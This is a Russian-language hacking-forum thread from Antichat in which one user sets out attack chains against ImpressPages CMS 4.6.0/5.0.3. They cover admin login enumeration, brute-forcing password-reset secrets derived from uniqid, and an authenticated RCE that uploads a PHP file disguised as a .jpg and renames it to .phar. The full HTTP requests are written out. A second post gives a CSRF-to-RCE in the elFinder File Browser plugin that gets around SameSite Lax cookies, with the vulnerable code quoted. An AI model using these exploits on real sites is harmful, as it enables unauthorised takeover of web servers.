Impresspages CMS

Discussion in 'Веб-уязвимости' started by Baskin-Robbins, 18 Jun 2021.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Сайт - impresspages.org
    Версия 4.6.0 (+ 5.0.3)


    Admin login|email harvestering

    Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.


    Bypass auth

    Зависимости
    -- Наличие админского логина
    -- Локальное время сервера

    Ip/Internal/Administrators/Model.php
    PHP:
    private static function generatePasswordResetSecret($userId)
    {
        
    $secret md5(ipConfig()->get('sessionName') . uniqid());
        
    $data = array(
            
    'resetSecret' => $secret,
            
    'resetTime' => time()
        );
        
    ipDb()->update('administrator'$data, array('id' => $userId));
        return 
    $secret;
    }
    Линк на смену пароля генерируется из сессии + unix timestamp.
    Генерируем список ссылок - брутим.

    Code:
    http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
    

    RCE

    Зависимости:
    -- Админские привилегии
    -- Разрешение на выполнение phar

    В админке все взаимодействие строится на подключенных модулях и вызова их методов.
    Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих
    модулей ядра и плагинов.

    Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.
    И даже если бы могли грузить php, нам мешает .htaccess
    Code:
    <Files  ~ "\.(php|php5|php6|php7|jsp|phps|asp|cgi|py)$">
    deny from all
    </Files>
    
    Что можно с этим сделать?

    Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository
    из file/tmp - причем мы можем это сделать сменив расширение. В папку secure
    грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.

    Ip/Internal/Repository/AdminController.php
    PHP:
    public function storeNewFiles()
    {
        
    ipRequest()->mustBePost();
        
    $post ipRequest()->getPost();
        
    $secure = !empty($post['secure']);
        
    $path = isset($post['path']) ? $post['path'] : null;


        
    $browserModel BrowserModel::instance();

        
    $browserModel->pathMustBeInRepository($path$secure);


        if (!isset(
    $post['files']) || !is_array($post['files'])) {
            return new \
    Ip\Response\Json(array('status' => 'error''errorMessage' => 'Missing POST variable'));
        }

        
    $files = isset($post['files']) ? $post['files'] : [];

        
    $newFiles = [];


        
    $destination $browserModel->getPath($secure$path);


        foreach (
    $files as $file) {
            
    $sourceDir 'file/tmp/';
            if (
    $secure) {
                
    $sourceDir 'file/secure/tmp/';
            }


            
    $source ipFile($sourceDir $file['fileName']);
            
    $source realpath($source); //to avoid any tricks with relative paths, etc.
            
    if (strpos($sourcerealpath(ipFile($sourceDir))) !== 0) {
                
    ipLog()->alert('Core.triedToAccessNonPublicFile', array('file' => $file['fileName']));
                continue;
            }


            
    $newName = \Ip\Internal\File\Functions::genUnoccupiedName($file['renameTo'], $destination);
            
    copy($source$destination $newName);
            
    unlink($source); //this is a temporary file
            
    $browserModel = \Ip\Internal\Repository\BrowserModel::instance();
            
    $newFile $browserModel->getFile($newName$secure$path);
            
    $newFiles[] = $newFile;
        }
        
    $answer = array(
            
    'status' => 'success',
            
    'files' => $newFiles
        
    );

        return new \
    Ip\Response\Json($answer);
    }

    Запрос на загрузку файла
    Code:
    POST / HTTP/1.1
    Host: ip4.localhost.com
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ip4.localhost.com/dddddddddddddddd/
    Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
    Content-Length: 750
    DNT: 1
    Connection: close
    Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
    Sec-GPC: 1
    
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="name"
    
    1.jpg
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="sa"
    
    Repository.upload
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="secureFolder"
    
    0
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="securityToken"
    
    eb763756cb06598270d99b1ab71b0bc6
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="file"; filename="4.php"
    Content-Type: application/octet-stream
    
    <?= phpinfo();
    
    -----------------------------66207624121407658211508896721--
    

    Запрос на перемещение файла
    Code:
    POST /?aa=Repository.storeNewFiles HTTP/1.1
    Host: ip4.localhost.com
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ip4.localhost.com/?aa=Repository.storeNewFiles
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 136
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=mjma15faqgjbh7b41r8t8vdq69; ses373388643=eq9cmqhno8to90ejava318bu81
    Sec-GPC: 1
    
    securityToken=4c9988f56ff8a06d41c304fdf6cb8aaf&files[0][fileName]=1.jpg&files[0][renameTo]=r.phar
    

    Code:
    ip4.localhost.com/file/repository/r.phar
    
     
    #1 Baskin-Robbins, 18 Jun 2021
    Last edited: 18 Jun 2021
    emilybrauer, seostock, Spinus and 4 others like this.
    1. Baskin-Robbins

      Baskin-Robbins Reservists Of Antichat

      Joined:
      15 Sep 2018
      Messages:
      239
      Likes Received:
      809
      Reputations:
      212
      CSRF -> RCE (bypass default samesite cookie value Lax)

      Плагин File Browser v. 1.00


      В целом обычная csrf в плагине и совершенно очевидный обход ограничений в PHP
      приложениях дефолтных Samesite cookie Lax.

      Из коробки POST запросы эксплуатировать тяжело, но большинство трудностей
      улетучивается когда разрабы используют $_REQUEST или функции/конструкции наподобие
      этих:

      PHP:
      $var $_SERVER['REQUEST_METHOD'] === 'POST' $_POST $_GET;

      # или например
      # from LiveStreet CMS

      function getRequest($sName$default null$sType null)
      {
          switch (
      strtolower($sType)) {
              default:
              case 
      null:
                  
      $aStorage $_REQUEST;
                  break;
              case 
      'get':
                  
      $aStorage $_GET;
                  break;
              case 
      'post':
                  
      $aStorage $_POST;
                  break;
          }

          if (isset(
      $aStorage[$sName])) {
              if (
      is_string($aStorage[$sName])) {
                  return 
      trim($aStorage[$sName]);
              } else {
                  return 
      $aStorage[$sName];
              }
          }
          return 
      $default;
      }

      Что впринципе мы и видим ниже, один и тот же запрос в GET и POST.

      1.png

      2.png


      Хэш в запросе:
      3.png


      4.png


      Plugin/Browser/elfinder/php/elFinderConnector.class.php
      PHP:
          public function run() {
             
      $isPost $_SERVER["REQUEST_METHOD"] == 'POST';
             
      $src    $_SERVER["REQUEST_METHOD"] == 'POST' $_POST $_GET;
             if (
      $isPost && !$src && $rawPostData = @file_get_contents('php://input')) {
                 
      // for support IE XDomainRequest()
                 
      $parts explode('&'$rawPostData);
                 foreach(
      $parts as $part) {
                     list(
      $key$value) = array_pad(explode('='$part), 2'');
                     
      $src[$key] = rawurldecode($value);
                 }
                 
      $_POST $src;
                 
      $_REQUEST array_merge_recursive($src$_REQUEST);
             }
             
      $cmd    = isset($src['cmd']) ? $src['cmd'] : '';
             
      $args   = array();
            
             if (!
      function_exists('json_encode')) {
                 
      $error $this->elFinder->error(elFinder::ERROR_CONFelFinder::ERROR_CONF_NO_JSON);
                 
      $this->output(array('error' => '{"error":["'.implode('","'$error).'"]}''raw' => true));
             }
            
             if (!
      $this->elFinder->loaded()) {
                 
      $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONFelFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors));
             }
            
             
      // telepat_mode: on
             
      if (!$cmd && $isPost) {
                 
      $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOADelFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html'));
             }
             
      // telepat_mode: off
            
             
      if (!$this->elFinder->commandExists($cmd)) {
                 
      $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
             }
            
             
      // collect required arguments to exec command
             
      foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
                 
      $arg $name == 'FILES'
                     
      $_FILES
                     
      : (isset($src[$name]) ? $src[$name] : '');
                    
                 if (!
      is_array($arg)) {
                     
      $arg trim($arg);
                 }
                 if (
      $req && (!isset($arg) || $arg === '')) {
                     
      $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS$cmd)));
                 }
                 
      $args[$name] = $arg;
             }
            
             
      $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;
            
             
      $this->output($this->elFinder->exec($cmd$this->input_filter($args)));
         }
       
      #2 Baskin-Robbins, 30 Aug 2021
      Last edited: 30 Aug 2021
      fandor9, crlf, CyberTro1n and 3 others like this.